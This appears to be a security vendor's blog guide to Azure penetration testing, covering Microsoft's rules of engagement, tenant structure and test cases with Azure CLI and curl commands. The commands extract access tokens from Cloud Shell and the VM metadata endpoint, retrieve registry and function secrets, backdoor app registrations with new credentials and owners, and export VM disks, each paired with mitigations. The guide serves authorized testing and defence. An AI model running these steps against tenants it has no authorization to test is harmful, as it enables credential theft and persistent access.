logo svg
logo

October 15, 2025

Updated: November 3, 2026

Azure Penetration Testing: Methodology and Approach

How to scope and run an Azure penetration test: Microsoft rules of engagement, Entra ID enumeration, common attack paths, test cases and tools.

Hazem El-Sayed

Hazem El-Sayed

Featured Image

Azure Cloud Penetration Testing Guide: A Complete Technical Blueprint

Cloud security is a cornerstone of modern enterprise defense, and Azure penetration testing has become a top priority for organizations relying on Microsoft’s cloud ecosystem. Unlike traditional on-prem infrastructures, Azure environments present a complex mix of identity-based security controls, network segmentation, SaaS integrations, and PaaS services. For penetration testers and security professionals, mastering these nuances is crucial to simulate real-world adversaries effectively. Teams also running on AWS can compare the best AWS penetration testing companies.

This comprehensive guide provides a structured methodology to conduct Azure cloud penetration testing—from initial enumeration to exploitation and post-exploitation—designed for intermediate to senior security professionals.

Azure Penetration Testing: The Short Answer

Azure penetration testing is an authorized simulation of attacks against the Azure resources and Microsoft Entra ID tenant an organization owns. It focuses on identities and permissions, exposed services, storage, containers, serverless functions and the paths an attacker could use to move from one foothold to sensitive data or control of a subscription.

Microsoft has not required pre-approval since June 15, 2017, but every test must follow the Microsoft Cloud Unified Penetration Testing Rules of Engagement. Denial-of-service testing, testing tenants you do not own and using credentials that are not your own are prohibited. Microsoft summarizes the rules on its Azure penetration testing page.

Table of Contents

Why Azure Penetration Testing Matters

Many large enterprises run critical workloads and identities on Azure and Microsoft Entra ID, making them a prime target for threat actors. While Microsoft provides robust security controls, misconfigurations, weak identity management, and excessive permissions remain the biggest attack surfaces. Experienced Azure consulting specialists can help organizations design secure cloud architectures, strengthen access controls, and reduce configuration-related risks.

For U.S. organizations testing Azure environments, regular penetration testing should be a non-negotiable part of cloud security programs that need to validate permissions, configurations, identity paths, and exposed services.

Penetration testing Azure environments helps organizations:

Pre-Engagement Rules and Scoping

Before launching any testing activity, clear rules of engagement must be established to remain compliant with Microsoft’s Cloud Penetration Testing Rules.

Key Scoping Considerations

Tip: Use a signed Rules of Engagement (RoE) document to protect both the testing team and the client, and if you're outsourcing the work, check how the leading cloud penetration testing companies define scope before you commit.

Understanding Azure Architecture

A solid understanding of Azure’s structure is essential to identify attack vectors. Azure resources are organized in a hierarchical model:

  1. Tenant → represents the organization’s identity boundary (Microsoft Entra ID, formerly Azure AD).
  2. Management Groups → used to manage multiple subscriptions.
  3. Subscriptions → billing and access boundary.
  4. Resource Groups → logical containers for resources.
  5. Resources → virtual machines, storage accounts, databases, Key Vaults, etc.

For UK teams validating Azure identity and access controls, Microsoft Entra ID controls access across Azure, M365, and connected SaaS applications, making privilege boundaries and permissions central to security review.

Azure Attacks & Test Cases

Azure Portal access for all users (tenant-wide info leak)

Why it matters: By default, any user can browse the Azure portal surface and enumerate some tenant objects and app connections.

Check

Mitigation

Anonymous service discovery via Azure DNS suffixes

Goal: Find accidentally exposed services by fuzzing common Azure DNS zones (read-only checks only).

Targets

Safe triage

# Resolve candidate hostnames without sending requests to app paths
dig +short myapp.azurewebsites.net
dig +short mystorage.blob.core.windows.net


Mitigation

Azure Storage Blob scanning (anonymous)

Goal: Detect publicly listable/READable containers.

Safe check

# Inventory
az graph query -q "Resources | where type=='microsoft.storage/storageaccounts' | project name,rg=resourceGroup,allowBlobPublicAccess=properties.allowBlobPublicAccess"

# Spot-test (anonymous listing; no credentials)
curl -s "https://<acct>.blob.core.windows.net/<container>?restype=container&comp=list"
# An XML blob list means anonymous listing is enabled; stop, don't download data.



Mitigation

Tenant enumeration (OpenID config)

Goal: Identify tenant ID and endpoints safely.

curl -s https://login.microsoftonline.com/<org-domain>/.well-known/openid-configuration | jq '.issuer,.authorization_endpoint,.token_endpoint'



What to expect: Tenant (GUID) revealed via issuer; use only for scoping. Mitigation: None needed—public metadata by design. Use branding and monitoring to reduce phishing utility.

Azure Cloud Shell extract access token (session abuse)

Goal: Obtain bearer tokens from a compromised Cloud Shell session.

# Inside Cloud Shell (current Azure CLI uses MSAL)
az account get-access-token --resource https://management.azure.com
az account get-access-token --resource https://graph.microsoft.com
# MSAL token cache (plaintext on Linux): ~/.azure/msal_token_cache.json


Evidence: JWTs scoped to ARM/Graph. Mitigation: Disable Cloud Shell for non-admins, enforce re-auth, monitor Cloud Shell app sign-ins, shorten token lifetimes.

ACR pull images with Reader account (misconfig paths)

Risk patterns

Checks

az acr show -n <registry> -g <rg> --query "{adminUserEnabled:adminUserEnabled, policies:policies}"
az role assignment list --scope $(az acr show -n <registry> --query id -o tsv) -o table

What to look for

Mitigation

ACR extract admin password (if enabled)

Goal: Retrieve ACR admin creds (high impact if someone left it on).

# Requires adequate rights on ACR resource
az acr credential show -n <registry>

Mitigation

AKS gather kubectl credentials

Goal: Obtain cluster credentials from control plane (if caller has rights).

az aks get-credentials -g <rg> -n <aks> --overwrite-existing
kubectl get pods -A


What to expect: If Azure AD/RBAC is weak, this yields cluster-admin or broad namespace access. Mitigation: Enforce Azure AD for AKS, granular Kubernetes RBAC, and least-priv on get-credentials.

Azure Functions access keys stored in Storage by default

Goal: Read Function host keys if Storage is weakly secured.

# Common secrets container
az storage blob list \
  --account-name <func_storage_acct> \
  --container-name azure-webjobs-secrets \
  --auth-mode login -o table

Mitigation

Backdoor Azure Applications & abuse Service Principals

Goal: Persistence via app creds/owners/permissions.

Common abuse paths

Commands

# Add new secret to app
az ad app credential reset --id <APP_ID> --append --display-name "ops-automation" --years 1

# Add owner
az ad app owner add --id <APP_ID> --owner-object-id <ATTACKER_OBJECT_ID>

# Grant permissions (careful; needs admin rights)
az ad app permission add   --id <APP_ID> --api <RESOURCE_APP_ID> --api-permissions <PERM_ID>=Role
az ad app permission grant --id <APP_ID> --api <RESOURCE_APP_ID>


Mitigation

Exploit VM Managed Identity (MSI)

Goal: Pull an ARM/Graph token from the instance metadata endpoint (IMDS).

curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"



Mitigation

VM Run Command (Linux & Windows) escalation via Contributor

Goal: Execute commands as root (Linux) or NT AUTHORITY\SYSTEM (Windows) when you have Microsoft.Compute/*/runCommand via Contributor.

# Linux
az vm run-command invoke -g <rg> -n <vm> --command-id RunShellScript --scripts "id"

# Windows
az vm run-command invoke -g <rg> -n <vm> --command-id RunPowerShellScript --scripts "whoami"

Mitigation

Exfiltration of VM disks (SAS grant)

Goal: Obtain a time-bound SAS URL to read VHD contents.

az disk grant-access --name <diskName> --resource-group <rg> --duration-in-seconds 3600

Mitigation

Dump credentials from App Service (Kudu/SCM)

Goal: Enumerate environment variables and settings via Kudu if reachable.

# If SCM is accessible and auth misconfigured
curl -u <user>:<pass> https://<app>.scm.azurewebsites.net/api/settings
# Or via CLI (safer)
az webapp config appsettings list -g <rg> -n <app>

Mitigation

Tooling quick-reference

ToolUsageLink
ROADtools (ROADrecon)Azure AD / Entra ID enumerationhttps://github.com/dirkjanm/ROADtools
AADInternalsAdvanced Entra ID / Azure AD PowerShell toolkithttps://github.com/Gerenios/AADInternals
AzureHoundAzure data exporter for BloodHound (collection)https://github.com/SpecterOps/AzureHound
BloodHoundGraph-based attack-path analysishttps://github.com/SpecterOps/BloodHound
MicroBurstAutomated Azure attack & escalation scriptshttps://github.com/NetSPI/MicroBurst
Azure CLI (azure-cli)Authenticated Azure enumeration & managementhttps://github.com/Azure/azure-cli
Azure PowerShell (azure-powershell / Az)Authenticated Azure enumeration and management from PowerShellhttps://github.com/Azure/azure-powershell
Azure Storage ExplorerGUI for browsing and copying Azure Storage datahttps://github.com/microsoft/AzureStorageExplorer
ScoutSuiteMulti-cloud security posture auditinghttps://github.com/nccgroup/ScoutSuite
CloudSploit (Aqua / cloudsploit)Cloud configuration / CSPM checkshttps://github.com/aquasecurity/cloudsploit
ImpacketPost-exploitation / AD lateral movementhttps://github.com/fortra/impacket
NetExec (successor to CrackMapExec)Network and Active Directory credential testing and lateral movementhttps://github.com/Pennyw0rth/NetExec
PowerZurePowerShell Azure reconnaissance & exploitationhttps://github.com/hausec/PowerZure

For a wider comparison of tools across AWS, Azure and Google Cloud, see our cloud penetration testing tools guide.

How to weave these into your report

Frequently Asked Questions

Do I need Microsoft's permission to pentest Azure?

No. Microsoft has not required pre-approval for penetration testing of Azure resources since June 15, 2017. You must still follow the Microsoft Cloud Unified Penetration Testing Rules of Engagement, and you may only test resources you own or are explicitly authorized to test.

What is not allowed when pentesting Azure?

Microsoft prohibits denial-of-service testing of any kind, testing tenants or data you do not own, using credentials or secrets that are not your own, network-intensive fuzzing, phishing Microsoft employees, and post-exploitation against Microsoft online services beyond an initial proof of concept.

What should an Azure penetration test cover?

A typical test covers Microsoft Entra ID users, roles and app registrations; Azure RBAC and managed identities; storage accounts and Key Vault; containers (ACR, AKS); Functions and App Service; network exposure; and whether logging and detection catch the attack paths found.

Can a third party pentest my Azure environment?

Yes. Consulting firms, managed security providers and red teams can test Azure resources with explicit written authorization from the resource owner, documented in the service agreement before testing begins.

How do you pentest Azure without disrupting production?

Agree scope and testing windows in writing, use dedicated test accounts, start with read-only enumeration, avoid any denial-of-service or high-volume traffic, and keep the signed authorization ready in case Azure flags the activity.

Expert Sources Referenced

background
Let's hack you before real hackers do

Stay secure with DeepStrike penetration testing services. Reach out for a quote or customized technical proposal today

Contact Us